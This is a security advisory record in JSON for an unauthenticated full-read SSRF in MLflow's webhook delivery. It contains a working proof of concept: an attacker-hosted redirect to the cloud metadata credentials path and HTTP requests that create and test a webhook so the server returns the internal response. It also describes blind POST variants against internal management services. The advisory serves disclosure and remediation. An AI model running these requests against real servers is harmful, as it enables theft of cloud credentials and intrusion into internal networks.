CVE-2026-64849: MLflow Unauthenticated Full-read SSRF Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7gwp-5pfp-969j",
  "modified" : "2026-10-02T18:21:50Z",
  "published" : "2026-08-17T21:58:51Z",
  "aliases" : [ "CVE-2026-64849" ],
  "summary" : "MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)",
  "details" : "### Summary\nThe default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server.\n\n### Details\nThree facts combine:\n\n1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default.\n\n2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`:\n```python\nschemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get()        # default [\"https\"]\nif parsed_url.scheme not in schemes: raise ...\nif not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get():        # default False\n    for addr_info in socket.getaddrinfo(hostname, None):\n        ip = ipaddress.ip_address(addr_info[4][0])\n        if not ip.is_global: raise ...                 # blocks RFC1918/loopback/link-local/metadata\n```\nThe resolved IP is never carried into the connection.\n\n3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:\n```python\ndef _create_webhook_session():\n    adapter = HTTPAdapter(max_retries=retry_strategy)  # retry only; no IP pinning\n    ...\ndef _send_webhook_request(webhook, payload, event, session):\n    _validate_webhook_url(webhook.url)                 # re-validates the ORIGINAL url only\n    return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)\n    # no allow_redirects=False  -> 302 followed; redirect Location never re-validated\n```\ntest_webhook returns response_status and response_body to the caller.\nBypass vectors:\n\nRedirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it.\nDNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.\n\n### PoC\nAll requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF\nfetch is performed by the MLflow server itself; the internal response is reflected back in the\n`/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP\nand serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.\n\nAttacker redirect server (on {{ATTACKER}}, valid TLS cert):\n    nginx:  location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }\n\nStep 0 — negative control (proves the guard is active; the naive internal URL is rejected):\n\n    POST /api/2.0/mlflow/webhooks HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"name\":\"neg\",\"url\":\"http://127.0.0.1:6379/\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n    -> 400 {\"message\":\"Invalid webhook URL scheme: 'http'. Allowed schemes are: https.\"}\n    (an https://127.0.0.1/ variant is likewise rejected as a non-public IP)\n\n<img width=\"1154\" height=\"437\" alt=\"image\" src=\"https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019\" />\n\n\nStep 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):\n\n    POST /api/2.0/mlflow/webhooks HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"name\":\"poc\",\"url\":\"https://{{ATTACKER}}/innocent\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n    -> 200 {\"webhook\":{\"webhook_id\":\"<WEBHOOK_ID>\", ... ,\"status\":\"ACTIVE\"}}\n\n<img width=\"1394\" height=\"520\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d\" />\n\n\nStep 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:\n\n    POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1\n    Host: {{TARGET}}\n    Content-Type: application/json\n\n    {\"webhook_id\":\"<WEBHOOK_ID>\",\"event\":{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}}\n\n    -> 200 {\"result\":{\"success\":true,\"response_status\":200,\n            \"response_body\":\"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>\"}}\n\n<img width=\"1399\" height=\"453\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc\" />\n\n\nConfirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting\nto a local secret service, Step 2 returned:\n    \"response_body\":\"INTERNAL_SECRET=mlflow_ssrf_proof_7f3a91\\nrole=admin\\n\"\n\nSince I don't have a cloud deployment, I placed \"my secret data\" in the same location.\n\n<img width=\"730\" height=\"208\" alt=\"image\" src=\"https://github.com/user-attachments/assets/680e1895-6d2e-4fd7-838f-c484561b6e5c\" />\n\n\n\nNotes:\n- Webhook `events` enum values must be UPPERCASE proto names (REGISTERED_MODEL, CREATED); lowercase\n  maps to ENTITY_UNSPECIFIED and 500s.\n- Default allowed scheme is https only; the first hop must be https, the redirect Location may be http.\n- Webhooks require a SQL store; the default `mlflow server` (sqlite:///mlflow.db) qualifies. No auth needed.\n\n- Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.\n\n### Impact\nAn unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).\n\n### Fix\n\nFixed in https://github.com/mlflow/mlflow/pull/24258 (commit `ba94952247`), which adds connection-time SSRF protection (`SSRFProtectedHTTPAdapter`): the peer IP of each connected socket is validated against public-IP rules immediately after `connect()`, before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.\n\n### Redirect variants\n\nThe same missing re-validation enables two distinct primitives depending on the redirect status code:\n\n- **302 (read):** the redirect target is fetched with GET and, because `POST /api/2.0/mlflow/webhooks/{id}/test` reflects the upstream response body (`WebhookTestResult.response_body`), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services).\n- **307 / 308 (blind write):** these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon `/stop`, Elasticsearch `/_close`, Spring Boot Actuator `/shutdown`).\n\nNeither requires authentication on a default OSS server.\n\nThen add a fix reference near the top or in a \"Remediation\" note:\n\nFollow-up hardening (2026-09): four IPv6-transition bypasses of this fix were independently reported and fixed in https://github.com/mlflow/mlflow/pull/25568, released in MLflow 3.16.0. Thanks to DhiyaneshGeek and neo-ai-engineer (GHSA-7646-8p3r-42ch), kta1kri (GHSA-m56c-jhmp-2mx2), tonghuaroot (GHSA-j9pw-7jr2-x46w), and eeegoloauq (GHSA-3vv4-6hm9-pf24) for reporting.  The original is_global classifier did not decode IPv6 addresses embedding an IPv4 address, so 64:ff9b::<ip> (NAT64) and ::ffff:100.64.0.0/10 (IPv4-mapped CGNAT) could pass the guard. The SSRF guard now normalizes IPv4-mapped, 6to4, and NAT64 addresses before classification. Deployments on IPv6/NAT64 networks should upgrade to MLflow 3.16.0 or later.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "mlflow"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.3.0"
      }, {
        "fixed" : "3.15.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-64849"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mlflow/mlflow/issues/24179"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mlflow/mlflow/pull/24258"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mlflow/mlflow/commit/ba949522477cbd5915aa55d29b0cfad7d5ddf939"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-7gwp-5pfp-969j"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mlflow/mlflow"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mlflow/mlflow/releases/tag/v3.15.0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2026-3687.yaml"
  }, {
    "type" : "WEB",
    "url" : "https://pypi.org/project/mlflow"
  }, {
    "type" : "WEB",
    "url" : "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-64849"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-17T21:58:51Z",
    "nvd_published_at" : "2026-08-17T22:17:23Z"
  }
}